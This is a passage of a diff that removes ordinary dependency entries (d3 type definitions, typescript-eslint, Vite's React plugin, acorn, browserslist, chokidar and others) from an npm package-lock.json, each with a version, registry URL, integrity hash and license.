"sha512-iO90scth9WAbmgv7ogoq57O9YpKmFBbmoEoCHDB2xMBY0+/KVrqAaCDyCE16dUspeOvIxFFRI+0sEtqDqy2b4A==", - "license": "MIT" - }, - "node_modules/@types/d3-ease": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/d3-ease/-/d3-ease-3.0.2.tgz", - "integrity": "sha512-NcV1JjO5oDzoK26oMzbILE6HW7uVXOHLQvHshBUW4UMdZGfiY6v5BeQwh9a9tCzv+CeefZQHJt5SRgK154RtiA==", - "license": "MIT" - }, - "node_modules/@types/d3-interpolate": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/d3-interpolate/-/d3-interpolate-3.0.4.tgz", - "integrity": "sha512-mgLPETlrpVV1YRJIglr4Ez47g7Yxjl1lj7YKsiMCb27VJH9W8NVM6Bb9d8kkpG/uAQS5AmbA48q2IAolKKo1MA==", - "license": "MIT", - "dependencies": { - "@types/d3-color": "*" - } - }, - "node_modules/@types/d3-path": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/@types/d3-path/-/d3-path-3.1.1.tgz", - "integrity": "sha512-VMZBYyQvbGmWyWVea0EHs/BwLgxc+MKi1zLDCONksozI4YJMcTt8ZEuIR4Sb1MMTE8MMW49v0IwI5+b7RmfWlg==", - "license": "MIT" - }, - "node_modules/@types/d3-scale": { - "version": "4.0.9", - "resolved": "https://registry.npmjs.org/@types/d3-scale/-/d3-scale-4.0.9.tgz", - "integrity": "sha512-dLmtwB8zkAeO/juAMfnV+sItKjlsw2lKdZVVy6LRr0cBmegxSABiLEpGVmSJJ8O08i4+sGR6qQtb6WtuwJdvVw==", - "license": "MIT", - "dependencies": { - "@types/d3-time": "*" - } - }, - "node_modules/@types/d3-shape": { - "version": "3.1.7", - "resolved": "https://registry.npmjs.org/@types/d3-shape/-/d3-shape-3.1.7.tgz", - "integrity": "sha512-VLvUQ33C+3J+8p+Daf+nYSOsjB4GXp19/S/aGo60m9h1v6XaxjiT82lKVWJCfzhtuZ3yD7i/TPeC/fuKLLOSmg==", - "license": "MIT", - "dependencies": { - "@types/d3-path": "*" - } - }, - "node_modules/@types/d3-time": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@types/d3-time/-/d3-time-3.0.4.tgz", - "integrity": "sha512-yuzZug1nkAAaBlBBikKZTgzCeA+k1uy4ZFwWANOfKw5z5LRhV0gNA7gNkKm7HoK+HRN0wX3EkxGk0fpbWhmB7g==", - "license": "MIT" - }, - "node_modules/@types/d3-timer": { - "version": "3.0.2", - "resolved": "https://registry.npmjs.org/@types/d3-timer/-/d3-timer-3.0.2.tgz", - "integrity": "sha512-Ps3T8E8dZDam6fUyNiMkekK3XUsaUEik+idO9/YjPtfj2qruF8tFBXS7XhtE4iIXBLxhmLjP3SXpLhVf21I9Lw==", - "license": "MIT" - }, - "node_modules/@types/estree": { - "version": "1.0.8", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.8.tgz", - "integrity": "sha512-dWHzHa2WqEXI/O1E9OjrocMTKJl2mSrEolh1Iomrv6U+JuNwaHXsXx9bLu5gG7BUWFIN0skIQJQ/L1rIex4X6w==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/json-schema": { - "version": "7.0.15", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", - "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", - "dev": true, - "license": "MIT" - }, - "node_modules/@types/node": { - "version": "24.10.4", - "resolved": "https://registry.npmjs.org/@types/node/-/node-24.10.4.tgz", - "integrity": "sha512-vnDVpYPMzs4wunl27jHrfmwojOGKya0xyM3sH+UE5iv5uPS6vX7UIoh6m+vQc5LGBq52HBKPIn/zcSZVzeDEZg==", - "dev": true, - "license": "MIT", - "dependencies": { - "undici-types": "~7.16.0" - } - }, - "node_modules/@types/react": { - "version": "19.2.7", - "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.7.tgz", - "integrity": "sha512-MWtvHrGZLFttgeEj28VXHxpmwYbor/ATPYbBfSFZEIRK0ecCFLl2Qo55z52Hss+UV9CRN7trSeq1zbgx7YDWWg==", - "devOptional": true, - "license": "MIT", - "dependencies": { - "csstype": "^3.2.2" - } - }, - "node_modules/@types/react-dom": { - "version": "19.2.3", - "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.3.tgz", - "integrity": "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==", - "devOptional": true, - "license": "MIT", - "peerDependencies": { - "@types/react": "^19.2.0" - } - }, - "node_modules/@types/use-sync-external-store": { - "version": "0.0.6", - "resolved": "https://registry.npmjs.org/@types/use-sync-external-store/-/use-sync-external-store-0.0.6.tgz", - "integrity": "sha512-zFDAD+tlpf2r4asuHEj0XH6pY6i0g5NeAHPn+15wk3BV6JA69eERFXC1gyGThDkVa1zCyKr5jox1+2LbV/AMLg==", - "license": "MIT" - }, - "node_modules/@typescript-eslint/eslint-plugin": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.50.0.tgz", - "integrity": "sha512-O7QnmOXYKVtPrfYzMolrCTfkezCJS9+ljLdKW/+DCvRsc3UAz+sbH6Xcsv7p30+0OwUbeWfUDAQE0vpabZ3QLg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/regexpp": "^4.10.0", - "@typescript-eslint/scope-manager": "8.50.0", - "@typescript-eslint/type-utils": "8.50.0", - "@typescript-eslint/utils": "8.50.0", - "@typescript-eslint/visitor-keys": "8.50.0", - "ignore": "^7.0.0", - "natural-compare": "^1.4.0", - "ts-api-utils": "^2.1.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "@typescript-eslint/parser": "^8.50.0", - "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/eslint-plugin/node_modules/ignore": { - "version": "7.0.5", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.5.tgz", - "integrity": "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">= 4" - } - }, - "node_modules/@typescript-eslint/parser": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.50.0.tgz", - "integrity": "sha512-6/cmF2piao+f6wSxUsJLZjck7OQsYyRtcOZS02k7XINSNlz93v6emM8WutDQSXnroG2xwYlEVHJI+cPA7CPM3Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/scope-manager": "8.50.0", - "@typescript-eslint/types": "8.50.0", - "@typescript-eslint/typescript-estree": "8.50.0", - "@typescript-eslint/visitor-keys": "8.50.0", - "debug": "^4.3.4" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/project-service": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.50.0.tgz", - "integrity": "sha512-Cg/nQcL1BcoTijEWyx4mkVC56r8dj44bFDvBdygifuS20f3OZCHmFbjF34DPSi07kwlFvqfv/xOLnJ5DquxSGQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/tsconfig-utils": "^8.50.0", - "@typescript-eslint/types": "^8.50.0", - "debug": "^4.3.4" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/scope-manager": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.50.0.tgz", - "integrity": "sha512-xCwfuCZjhIqy7+HKxBLrDVT5q/iq7XBVBXLn57RTIIpelLtEIZHXAF/Upa3+gaCpeV1NNS5Z9A+ID6jn50VD4A==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.50.0", - "@typescript-eslint/visitor-keys": "8.50.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/tsconfig-utils": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.50.0.tgz", - "integrity": "sha512-vxd3G/ybKTSlm31MOA96gqvrRGv9RJ7LGtZCn2Vrc5htA0zCDvcMqUkifcjrWNNKXHUU3WCkYOzzVSFBd0wa2w==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/type-utils": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.50.0.tgz", - "integrity": "sha512-7OciHT2lKCewR0mFoBrvZJ4AXTMe/sYOe87289WAViOocEmDjjv8MvIOT2XESuKj9jp8u3SZYUSh89QA4S1kQw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.50.0", - "@typescript-eslint/typescript-estree": "8.50.0", - "@typescript-eslint/utils": "8.50.0", - "debug": "^4.3.4", - "ts-api-utils": "^2.1.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/types": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.50.0.tgz", - "integrity": "sha512-iX1mgmGrXdANhhITbpp2QQM2fGehBse9LbTf0sidWK6yg/NE+uhV5dfU1g6EYPlcReYmkE9QLPq/2irKAmtS9w==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@typescript-eslint/typescript-estree": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.50.0.tgz", - "integrity": "sha512-W7SVAGBR/IX7zm1t70Yujpbk+zdPq/u4soeFSknWFdXIFuWsBGBOUu/Tn/I6KHSKvSh91OiMuaSnYp3mtPt5IQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/project-service": "8.50.0", - "@typescript-eslint/tsconfig-utils": "8.50.0", - "@typescript-eslint/types": "8.50.0", - "@typescript-eslint/visitor-keys": "8.50.0", - "debug": "^4.3.4", - "minimatch": "^9.0.4", - "semver": "^7.6.0", - "tinyglobby": "^0.2.15", - "ts-api-utils": "^2.1.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/typescript-estree/node_modules/brace-expansion": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", - "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0" - } - }, - "node_modules/@typescript-eslint/typescript-estree/node_modules/minimatch": { - "version": "9.0.5", - "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", - "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", - "dev": true, - "license": "ISC", - "dependencies": { - "brace-expansion": "^2.0.1" - }, - "engines": { - "node": ">=16 || 14 >=14.17" - }, - "funding": { - "url": "https://github.com/sponsors/isaacs" - } - }, - "node_modules/@typescript-eslint/typescript-estree/node_modules/semver": { - "version": "7.7.3", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.3.tgz", - "integrity": "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q==", - "dev": true, - "license": "ISC", - "bin": { - "semver": "bin/semver.js" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/@typescript-eslint/utils": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.50.0.tgz", - "integrity": "sha512-87KgUXET09CRjGCi2Ejxy3PULXna63/bMYv72tCAlDJC3Yqwln0HiFJ3VJMst2+mEtNtZu5oFvX4qJGjKsnAgg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@eslint-community/eslint-utils": "^4.7.0", - "@typescript-eslint/scope-manager": "8.50.0", - "@typescript-eslint/types": "8.50.0", - "@typescript-eslint/typescript-estree": "8.50.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - }, - "peerDependencies": { - "eslint": "^8.57.0 || ^9.0.0", - "typescript": ">=4.8.4 <6.0.0" - } - }, - "node_modules/@typescript-eslint/visitor-keys": { - "version": "8.50.0", - "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.50.0.tgz", - "integrity": "sha512-Xzmnb58+Db78gT/CCj/PVCvK+zxbnsw6F+O1oheYszJbBSdEjVhQi3C/Xttzxgi/GLmpvOggRs1RFpiJ8+c34Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "@typescript-eslint/types": "8.50.0", - "eslint-visitor-keys": "^4.2.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/typescript-eslint" - } - }, - "node_modules/@vitejs/plugin-react": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-5.1.2.tgz", - "integrity": "sha512-EcA07pHJouywpzsoTUqNh5NwGayl2PPVEJKUSinGGSxFGYn+shYbqMGBg6FXDqgXum9Ou/ecb+411ssw8HImJQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@babel/core": "^7.28.5", - "@babel/plugin-transform-react-jsx-self": "^7.27.1", - "@babel/plugin-transform-react-jsx-source": "^7.27.1", - "@rolldown/pluginutils": "1.0.0-beta.53", - "@types/babel__core": "^7.20.5", - "react-refresh": "^0.18.0" - }, - "engines": { - "node": "^20.19.0 || >=22.12.0" - }, - "peerDependencies": { - "vite": "^4.2.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" - } - }, - "node_modules/acorn": { - "version": "8.15.0", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.15.0.tgz", - "integrity": "sha512-NZyJarBfL7nWwIq+FDL6Zp/yHEhePMNnnJ0y3qfieCrmNvYct8uvtiV41UvlSe6apAfk0fY1FbWx+NwfmpvtTg==", - "dev": true, - "license": "MIT", - "bin": { - "acorn": "bin/acorn" - }, - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/acorn-jsx": { - "version": "5.3.2", - "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", - "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" - } - }, - "node_modules/ajv": { - "version": "6.12.6", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", - "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", - "dev": true, - "license": "MIT", - "dependencies": { - "fast-deep-equal": "^3.1.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/epoberezkin" - } - }, - "node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-convert": "^2.0.1" - }, - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/any-promise": { - "version": "1.3.0", - "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", - "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", - "license": "MIT" - }, - "node_modules/anymatch": { - "version": "3.1.3", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz", - "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==", - "license": "ISC", - "dependencies": { - "normalize-path": "^3.0.0", - "picomatch": "^2.0.4" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/anymatch/node_modules/picomatch": { - "version": "2.3.1", - "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz", - "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==", - "license": "MIT", - "engines": { - "node": ">=8.6" - }, - "funding": { - "url": "https://github.com/sponsors/jonschlinkert" - } - }, - "node_modules/arg": { - "version": "5.0.2", - "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz", - "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", - "license": "MIT" - }, - "node_modules/argparse": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", - "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", - "dev": true, - "license": "Python-2.0" - }, - "node_modules/aria-hidden": { - "version": "1.2.6", - "resolved": "https://registry.npmjs.org/aria-hidden/-/aria-hidden-1.2.6.tgz", - "integrity": "sha512-ik3ZgC9dY/lYVVM++OISsaYDeg1tb0VtP5uL3ouh1koGOaUMDPpbFIei4JkFimWUFPn90sbMNMXQAIVOlnYKJA==", - "license": "MIT", - "dependencies": { - "tslib": "^2.0.0" - }, - "engines": { - "node": ">=10" - } - }, - "node_modules/autoprefixer": { - "version": "10.4.23", - "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.23.tgz", - "integrity": "sha512-YYTXSFulfwytnjAPlw8QHncHJmlvFKtczb8InXaAx9Q0LbfDnfEYDE55omerIJKihhmU61Ft+cAOSzQVaBUmeA==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/postcss/" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/autoprefixer" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "browserslist": "^4.28.1", - "caniuse-lite": "^1.0.30001760", - "fraction.js": "^5.3.4", - "picocolors": "^1.1.1", - "postcss-value-parser": "^4.2.0" - }, - "bin": { - "autoprefixer": "bin/autoprefixer" - }, - "engines": { - "node": "^10 || ^12 || >=14" - }, - "peerDependencies": { - "postcss": "^8.1.0" - } - }, - "node_modules/balanced-match": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", - "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", - "dev": true, - "license": "MIT" - }, - "node_modules/baseline-browser-mapping": { - "version": "2.9.11", - "resolved": "https://registry.npmjs.org/baseline-browser-mapping/-/baseline-browser-mapping-2.9.11.tgz", - "integrity": "sha512-Sg0xJUNDU1sJNGdfGWhVHX0kkZ+HWcvmVymJbj6NSgZZmW/8S9Y2HQ5euytnIgakgxN6papOAWiwDo1ctFDcoQ==", - "dev": true, - "license": "Apache-2.0", - "bin": { - "baseline-browser-mapping": "dist/cli.js" - } - }, - "node_modules/binary-extensions": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz", - "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==", - "license": "MIT", - "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/brace-expansion": { - "version": "1.1.12", - "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz", - "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==", - "dev": true, - "license": "MIT", - "dependencies": { - "balanced-match": "^1.0.0", - "concat-map": "0.0.1" - } - }, - "node_modules/braces": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz", - "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", - "license": "MIT", - "dependencies": { - "fill-range": "^7.1.1" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/browserslist": { - "version": "4.28.1", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.28.1.tgz", - "integrity": "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "MIT", - "dependencies": { - "baseline-browser-mapping": "^2.9.0", - "caniuse-lite": "^1.0.30001759", - "electron-to-chromium": "^1.5.263", - "node-releases": "^2.0.27", - "update-browserslist-db": "^1.2.0" - }, - "bin": { - "browserslist": "cli.js" - }, - "engines": { - "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" - } - }, - "node_modules/callsites": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz", - "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/camelcase-css": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz", - "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==", - "license": "MIT", - "engines": { - "node": ">= 6" - } - }, - "node_modules/caniuse-lite": { - "version": "1.0.30001761", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001761.tgz", - "integrity": "sha512-JF9ptu1vP2coz98+5051jZ4PwQgd2ni8A+gYSN7EA7dPKIMf0pDlSUxhdmVOaV3/fYK5uWBkgSXJaRLr4+3A6g==", - "dev": true, - "funding": [ - { - "type": "opencollective", - "url": "https://opencollective.com/browserslist" - }, - { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/caniuse-lite" - }, - { - "type": "github", - "url": "https://github.com/sponsors/ai" - } - ], - "license": "CC-BY-4.0" - }, - "node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - }, - "engines": { - "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" - } - }, - "node_modules/chokidar": { - "version": "3.6.0", - "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz", - "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==", - "license": "MIT", - "dependencies": { - "anymatch": "~3.1.2", - "braces": "~3.0.2", - "glob-parent": "~5.1.2", - "is-binary-path": "~2.1.0", - "is-glob": "~4.0.1", - "normalize-path": "~3.0.0", - "readdirp": "~3.6.0" - }, - "engines": { - "node": ">= 8.10.0" - }, - "funding": { - "url": "https://paulmillr.com/funding/" - }, - "optionalDependencies": { - "fsevents": "~2.3.2" - } - }, - "node_modules/chokidar/node_modules/glob-parent": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", - "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "license": "ISC", - "dependencies": { - "is-glob": "^4.0.1" - }, - "engines": { - "node": ">= 6" - } - }, - "node_modules/class-variance-authority": { - "version": "0.7.1", - "resolved": "https://registry.npmjs.org/class-variance-authority/-/class-variance-authority-0.7.1.tgz", - "integrity": "sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==", - "license": "Apache-2.0", - "dependencies": { - "clsx": "^2.1.1" - }, - "funding": { - "url": "https://polar.sh/cva" - } - }, - "node_modules/clsx": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz", - "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==", - "license": "MIT", - "engines": { - "node": ">=6" - } - }, - "node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "color-name": "~1.1.4" - }, - "engines": { - "node": ">=7.0.0" - } - }, - "node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true, - "license": "MIT" - }, - "node_modules/commander": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", - "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", - "license": "MIT", - "engines": { - "node": ">= 6" - } - }, - "node_modules/concat-map": { - "version": "0.0.1", - "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", - "dev": true, - 